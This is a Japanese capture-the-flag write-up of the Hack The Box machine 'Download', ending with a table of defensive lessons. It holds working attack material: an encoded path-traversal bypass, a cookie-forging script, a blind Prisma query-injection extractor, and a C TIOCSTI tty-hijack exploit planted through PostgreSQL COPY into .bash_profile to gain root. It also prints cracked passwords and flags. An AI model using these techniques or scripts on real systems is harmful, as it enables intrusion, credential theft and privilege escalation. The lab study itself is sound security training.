Hack The BoxのWriteup(Download)[High]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Download — 全実行コマンド・実行結果レポート
Nmap スキャン
22/80
→
nginx unsafe-URI バイパス
全文字%XXエンコード+1階層LFI
→
app.js 漏洩
cookie-session 署名鍵
→
cookie 自前署名偽造
HMAC-SHA1 keygrip方式
→
Prisma Query Injection
ブラインドMD5抽出
→
wesley シェル
user.txt ✓
→
DB資格情報漏洩
systemd service 平文
→
COPY + .bash_profile
pg_write_server_files
→
TIOCSTI TTY hijack
su -l postgres を継承
→
root.txt ✓

ポートスキャンとサイト概観

BASH
nmap -Pn -p- --min-rate 3000 10.129.83.19
nmap -Pn -sV -sC -p 22,80 10.129.83.19
RESULT
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://download.htb
BASH
echo "10.129.83.19 download.htb" | sudo tee -a /etc/hosts
ℹ️
トップページは「会員登録不要・ファイルサイズ制限無し・放置ファイルは自動削除」を謳う ファイル共有サービス。アップロード時に Server: Express、 Set-Cookie: download_session=...; download_session.sig=... という2本立てCookieが 確認でき、express の cookie-session ミドルウェアと分かる。
PHASE 2

nginx “unsafe URI” 正規化バイパス → LFI でソース漏洩

ダウンロードリンクの構造を把握

BASH
curl -s -L -D - -o /dev/null http://download.htb/files/upload -F "file=@test.txt"
RESULT
Location: /files/view/9f8ff62b-80e6-41b5-b015-9a098e756d8f
...
href="/files/download/9f8ff62b-80e6-41b5-b015-9a098e756d8f"
ℹ️
ダウンロードは /files/download/<UUID>。素朴な ../../../../etc/passwd はすべて nginx が 400 Bad Request を返して拒否する。

nginx の拒否ルールを特定する

NOTE
nginx の複合URI正規化処理 (いわゆる "unsafe URI" チェック) は、
".." による上位ディレクトリ移動が「そのリクエストURI自身のパス階層を
超えて」ルートより上に出ようとする場合のみ 400 を返す。

/files/download/../../etc/passwd   (2階層分の "../")
  → /files/download は2階層あるのでギリギリ許容 → 200 (通る)

/files/download/../../../etc/passwd  (3階層分の "../")
  → 1階層分オーバー → 400 (拒否)
BASH
# 階層数を変えて検証
for n in 1 2 3; do
  dots=$(python3 -c "print('../'*$n)")
  curl -s --path-as-is -o /dev/null -w "n=$n: %{http_code}\n" \
    "http://download.htb/files/download/${dots}etc/passwd"
done
RESULT
n=1: 200
n=2: 200
n=3: 400
🚨
1階層分の traversal (../) に抑えれば nginx のチェックを通過できる。 あとは Express 側がそれを正しく decode して実際のファイルシステムパスへ解決してくれるかが鍵。

全文字パーセントエンコードで Express まで到達させる

NOTE
単純な "../app.js" のままだと(たとえ1階層でも) nginx の判定対象文字列に
そのまま載るため、別の形式に変換する必要がある。
"../app.js" の 全文字を1文字ずつ %XX にパーセントエンコードすると、
nginx 側は文字列として ".." を直接認識できず素通りし、Express側の
URL decode で正しく "../app.js" に戻ってからルーティング・ファイル解決される。

  ../app.js
  → %2e%2e%2f%61%70%70%2e%6a%73
BASH
curl -s http://download.htb/files/download/%2e%2e%2f%61%70%70%2e%6a%73
RESULT (app.js 抜粋)
const express_1 = __importDefault(require("express"));
...
app.use((0, cookie_session_1.default)({
    name: "download_session",
    keys: ["8929874489719802418902487651347865819634518936754"],
    maxAge: 7 * 24 * 60 * 60 * 1000,
}));
✅
cookie-session の署名鍵がソースにハードコードされている! 同じ手法で routers/home.js・routers/auth.js・ middleware/auth.js も読み出せる。
BASH
curl -s http://download.htb/files/download/%2e%2e%2f%72%6f%75%74%65%72%73%2f%68%6f%6d%65%2e%6a%73
RESULT (routers/home.js)
router.get("/", auth_1.default, async (req, res) => {
    const files = await client.file.findMany({
        where: { author: req.session.user },
        select: { id: true, uploadedAt: true, size: true, name: true,
                  private: true, authorId: true,
                  author: { select: { username: true } } },
    });
    res.render("home.njk", { files });
});
BASH
curl -s http://download.htb/files/download/%2e%2e%2f%6d%69%64%64%6c%65%77%61%72%65%2f%61%75%74%68%2e%6a%73
RESULT (middleware/auth.js)
exports.default = (req, res, next) => {
    if (!req.session || !req.session.user) {
        return res.redirect("/auth/login");
    }
    next();
};
🚨
二重の脆弱性が判明: ①認証ミドルウェアは session.user が truthy かどうかしか見ておらず DB 上の実在確認をしない。②session.user を そのまま Prisma の where フィルタとして使っている (Query Injection)。鍵さえ偽造できれば両方を同時に突ける。
PHASE 3

cookie-session 自前署名偽造 → Prisma Query Injection オラクル確立

cookie-session (keygrip) の署名方式

NOTE
express の cookie-session は内部で keygrip ライブラリを使って署名する。
署名対象は「base64値そのもの」ではなく
  "<cookie名>=<base64(JSON文字列)>"
という文字列全体。これを HMAC-SHA1 で計算し、結果を base64url
(パディング無し、+/ を -_ に置換) で符号化したものが .sig の値になる。
PYTHON (cookie 偽造関数)
import base64, hashlib, hmac, json

SECRET = "8929874489719802418902487651347865819634518936754"
COOKIE_NAME = "download_session"

def sign_cookie(session_obj):
    data_json = json.dumps(session_obj, separators=(",", ":"))
    data_b64 = base64.b64encode(data_json.encode()).decode()
    signing_input = f"{COOKIE_NAME}={data_b64}"
    sig = hmac.new(SECRET.encode(), signing_input.encode(), hashlib.sha1).digest()
    sig_b64 = base64.urlsafe_b64encode(sig).rstrip(b"=").decode()
    return data_b64, sig_b64
⚠️
署名対象を「base64値のみ」だと誤解しやすい罠がある。必ず "<cookie名>=<base64値>" という文字列全体を HMAC すること。

偽造 cookie で任意の session.user を注入

PYTHON
import requests

data_b64, sig_b64 = sign_cookie({"user": {"id": {"not": -1}}})
r = requests.get(
    "http://download.htb/home/",
    cookies={"download_session": data_b64, "download_session.sig": sig_b64},
)
print(r.status_code, len(r.text))
RESULT
200 22206
<h2>Hey !</h2>
<h3>Your uploaded files:</h3>
...
<h4>VacationIdeas.doc</h4>
<strong>Uploaded By: </strong>AyufmApogee<br />
...
✅
認証バイパス成功! ログイン手続き無しで /home/ の全ファイル一覧を取得できた。 Prisma の id: {not: -1} のような比較演算子オブジェクトをそのまま session.user に注入できている。
PHASE 4

ブラインド MD5 ハッシュ抽出 & user.txt

レスポンス長オラクルの確立

NOTE
session.user = {username:{contains:"WESLEY"}, password:{startsWith:c}}
を偽造して /home/ を叩くと、Prisma は
  「username に WESLEY を含み、かつ password が c から始まる」
ファイルの著者でフィルタする。条件に合致するファイルが1件でもあれば
レスポンス本文にファイル一覧カードが追加されて長くなる。
「ヒット無し」の基準レスポンス長と比較するだけでブラインドオラクルになる。

※ WEBアプリ上のユーザー名は大文字 "WESLEY"。
  SSHログイン用Unixアカウント名の小文字 "wesley" とは別物なので注意。
PYTHON (ブラインド抽出スクリプト)
def oracle_len(user_filter):
    d, s = sign_cookie({"user": user_filter})
    r = requests.get("http://download.htb/home/",
        cookies={"download_session": d, "download_session.sig": s})
    return len(r.text)

baseline = oracle_len({"username": {"contains": "WESLEY"},
                        "password": {"startsWith": "ZZZ_no_match"}})

chars = "abcdef0123456789"
prefix = ""
for _ in range(32):
    for c in chars:
        length = oracle_len({"username": {"contains": "WESLEY"},
                              "password": {"startsWith": prefix + c}})
        if length != baseline:
            prefix += c
            print(f"found: {prefix}")
            break
print("FINAL HASH:", prefix)
RESULT
found: f
found: f8
found: f88
...
FINAL HASH: f88976c10af66915918945b9679b2bd3

ハッシュクラック & SSH ログイン

BASH
echo "f88976c10af66915918945b9679b2bd3" > hash.txt
hashcat -m 0 -a 0 hash.txt /usr/share/wordlists/rockyou.txt --quiet --potfile-disable
RESULT
f88976c10af66915918945b9679b2bd3:dunkindonuts
BASH
sshpass -p 'dunkindonuts' ssh wesley@download.htb "id; cat ~/user.txt"
RESULT
uid=1000(wesley) gid=1000(wesley) groups=1000(wesley)
29d6384100a55658f9d8ed9f6c67c0ff
user.txt — wesley@download
29d6384100a55658f9d8ed9f6c67c0ff
PHASE 5

PostgreSQL 資格情報の漏洩と pg_write_server_files 権限の確認

su -l postgres の周期実行を観測 (pspy 的手法)

BASH
wesley@download:~$ for i in $(seq 1 30); do
  ps -eo pid,ppid,user,cmd | grep -E 'su |postgres' | grep -v grep
  sleep 5
done
RESULT (抜粋)
4194    4177 root     su -l postgres
4196    4194 postgres -bash
4210    4196 postgres /usr/lib/postgresql/12/bin/psql
🚨
root が周期的に(観測上おおよそ数十秒〜数分間隔、変動あり) su -l postgres を 実行している。-bash (先頭にハイフン) であることからログインシェル として起動されており、postgres の ~/.bash_profile が sourced される対象になる。

DB接続情報のハードコードを発見

BASH
wesley@download:~$ grep -rl "localhost:5432" / 2>/dev/null
wesley@download:~$ cat /etc/systemd/system/download-site.service
RESULT
Environment=DATABASE_URL="postgresql://download:CoconutPineappleWatermelon@localhost:5432/download"

download ロールの権限確認

BASH
wesley@download:~$ psql -h localhost -p 5432 -U download download
download=> \du
RESULT
 Role name |                 Attributes                 |        Member of
-----------+---------------------------------------------+-------------------------
 download  |                                              | {pg_write_server_files}
 postgres  | Superuser, Create role, Create DB, ...       | {}
✅
pg_write_server_files ロールを持つため、 COPY (SELECT ...) TO '<サーバー側任意パス>' で postgres プロセスの 権限でファイルを書き込める。狙うのは postgres の ~/.bash_profile。
PHASE 6

.bash_profile 仕込み + TIOCSTI TTY Hijacking → root.txt

TIOCSTI exploit の準備

NOTE
su -l postgres が起動する postgres の login shell は、それを起動した
root の対話シェルの tty をそのまま引き継ぐ。TIOCSTI ioctl を使うと、
「あたかもそのtty上でユーザーがキー入力した」かのように文字列を
カーネルの入力バッファへ注入できる。

戦略:
  1. postgres の .bash_profile を自前の exploit バイナリ実行に差し替える
  2. 次回 su -l postgres が走った瞬間、postgres の login shell が
     それを sourcing → exploit が /dev/tty へ
       "exit\n/bin/bash -c 'chmod 4777 /bin/bash;'\n"
     を注入
  3. "exit" が postgres の login shell を即座に終了させ、制御が
     「su を呼んだ root の対話シェル」に戻った瞬間に
     続く chmod コマンドが「rootが打った」ことになり実行される
C (tty_hijack.c)
#include <fcntl.h>
#include <stdio.h>
#include <string.h>
#include <sys/ioctl.h>
int main() {
    int fd = open("/dev/tty", O_RDWR);
    if (fd < 0) { perror("open"); return -1; }
    char *x = "exit\n/bin/bash -c 'chmod 4777 /bin/bash;'\n";
    while (*x != 0) {
        ioctl(fd, TIOCSTI, x);
        x++;
    }
    return 0;
}
BASH
# GLIBC 不一致を避けるため static でビルドし wesley として転送
gcc -o exploit exploit.c -static
scp exploit wesley@download.htb:/tmp/.dl_exploit
ssh wesley@download.htb "chmod +x /tmp/.dl_exploit"
ℹ️
動作確認として、ssh -tt wesley@download.htb "/tmp/.dl_exploit" のように自分自身の対話ttyに対して直接実行すると、注入された exit がそのシェルを即座に終了させる挙動で TIOCSTI 自体の 動作を素早く検証できる(非対話SSHだと /dev/tty が存在せず open: No such device or address になる)。

COPY で .bash_profile を仕込む (罠: SQLクォート)

NOTE
PostgreSQL では 'リテラル'(シングルクォート) と "識別子"(ダブルクォート)
は全く別の構文。シェル経由で psql -c "..." を組み立てようとして内部も
ダブルクォートでエスケープすると、CAST("payload" AS text) は
「payload という名のカラムを参照する」識別子構文として解釈され、
COPY全体がサイレントに失敗する(エラーも出ず単にファイルが出来ない)。

対策: 必ずシングルクォートのリテラルのみを使い、
ローカルで .sql ファイルとして組み立てて psql -f で実行する。
BASH
# trigger.sql (ローカルで作成 → scp で転送)
cat > trigger.sql << 'EOF'
COPY (SELECT CAST('/tmp/.dl_exploit;' AS text))
  TO '/var/lib/postgresql/.bash_profile';
EOF
scp trigger.sql wesley@download.htb:/tmp/trigger.sql
🚨
さらに重要な罠: .bash_profile に書き込むコマンドに >/>> のようなリダイレクトを含めると、このログイン コンテキストでは一切実行されずサイレント失敗する(原因未特定、 id > /tmp/out.log レベルの単純な出力捕捉ですら発火しなかった)。 デバッグ出力を諦め、リダイレクトを含まない単純なコマンド列のみ (今回は /tmp/.dl_exploit; の直接実行)にする必要がある。

1秒間隔リトライで su サイクルを待ち受ける

NOTE
postgres の HOME 配下は(su 周期とは独立に)短時間で内容が消えることが
実機で観測されたため、.bash_profile の書き込みは「1回書いて待つ」では
当たらないことが多い。1秒間隔で COPY を撃ち続け、狙っている副作用
(/bin/bash のパーミッションが 4777 になるか) を毎秒ポーリングする
力技のリトライループが必要。
BASH
# race.sh (wesley 上で実行、PGPASSWORD は Phase 5 で窃取した値)
export PGPASSWORD=CoconutPineappleWatermelon
for i in $(seq 1 280); do
  psql -h localhost -p 5432 -U download -d download -f /tmp/trigger.sql >/dev/null 2>&1
  perm=$(stat -c '%a' /bin/bash)
  if [ "$perm" = "4777" ]; then
    echo "ROOT_SUCCESS iter=$i"
    break
  fi
  sleep 1
done
RESULT
ROOT_SUCCESS iter=30
✅
TTY hijack 成功! 30秒ほどのリトライで root の対話シェルに chmod 4777 /bin/bash を「打ち込ませる」ことに成功した。

root.txt 取得

BASH
wesley@download:~$ /bin/bash -p -c 'id; cat /root/root.txt'
RESULT
uid=1000(wesley) gid=1000(wesley) euid=0(root) groups=1000(wesley)
d9fc3c41849ea77c643647c3656a7225
root.txt — root@download
d9fc3c41849ea77c643647c3656a7225
ℹ️
攻略後は chmod 755 /bin/bash で SUID ビットを戻し、仕込んだ .bash_profile・exploit バイナリ・トリガーSQLを削除して後片付けする。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — wesley@download
29d6384100a55658f9d8ed9f6c67c0ff
root.txt — root@download
d9fc3c41849ea77c643647c3656a7225

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
nginx unsafe-URI バイパス /files/download/:id ルート 認証不要のソースコード漏洩 (LFI) High traversalを1階層に抑えつつ全文字%XXエンコードしてnginxの拒否ルールを回避
ハードコードされた署名鍵 express cookie-session (app.js) 任意セッション偽造 Critical LFIで取得した固定鍵でHMAC-SHA1署名を自前計算しcookieを偽造
Prisma Query Injection routers/home.js (findMany where) 認証バイパス + ブラインドデータ抽出 Critical session.userをPrismaフィルタオブジェクトとして注入しレスポンス長オラクル化
ハードコードされたDB資格情報 systemd ユニットファイル DBアクセス権奪取 Medium download-site.service の DATABASE_URL を平文のまま読み出し
pg_write_server_files + TTY hijacking postgres ロール / su -l postgres 権限昇格 (root) Critical COPYでbash_profileを書換え、root由来ttyへTIOCSTIでコマンドを注入

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap + cookie構造観察22/80、Express/cookie-session検出
2LFIバイパスunsafe-URI回避 + 全文字%XXエンコードapp.js・各routerソース、cookie-session署名鍵
3cookie偽造HMAC-SHA1自前署名(keygrip方式)任意session.user注入、認証バイパス
4Query Injectionレスポンス長ブラインドオラクルuser.txt(WESLEYのMD5ハッシュ→dunkindonuts)
5DB権限調査systemdサービスファイル読取 + \dudownload:CoconutPineappleWatermelon、pg_write_server_files確認
6TTY hijackCOPY+.bash_profile+TIOCSTIroot.txt(SUID /bin/bash)

学んだ教訓 & 防御策

問題点防御策
nginxの複合URI正規化が深さ超過時のみ拒否するため部分的なtraversalが通る アプリ側でもpath.resolve()後に許可ディレクトリ配下かを明示検証する。nginx側のブラックリスト依存は避ける。
Webアプリのソースコード(署名鍵含む)が同一Webルート経由で読み出せる ソースコードはWebルート外に配置し、少なくともアップロードファイル配信用ルートとは物理的に分離する。
セッション署名鍵がハードコードされ全インスタンス共通 署名鍵は環境変数・シークレットマネージャから起動時注入し、インスタンスごとにランダム生成する。
ORMのwhere句にクライアント入力(ここではセッション由来のオブジェクト)を無検証で渡している Prisma等のORMでは許可するフィールド・演算子をホワイトリスト化し、ユーザー入力を直接フィルタオブジェクトとして渡さない。
DB接続文字列がsystemdユニットファイルに平文ハードコード、しかも全ユーザー閲覧可能 Environment=はsystemd credentials機能やシークレットマネージャ経由にし、ユニットファイルのパーミッションも制限する。
DBロールにpg_write_server_filesを不用意に付与 アプリ専用DBロールには必要最小限の権限のみ付与し、ファイルシステム書込系のロールは絶対に避ける。
root管理タスクがsu経由で対話tty上で実行され、子プロセスにtty制御権限(TIOCSTI)が残る 管理タスクはsuでなくsudo+専用コマンドに限定するか、少なくとも新規ptyを割り当てて(TIOCSTI無効化等のハードニングを施して)実行する。
HackTheBox: Download | 完全攻略レポート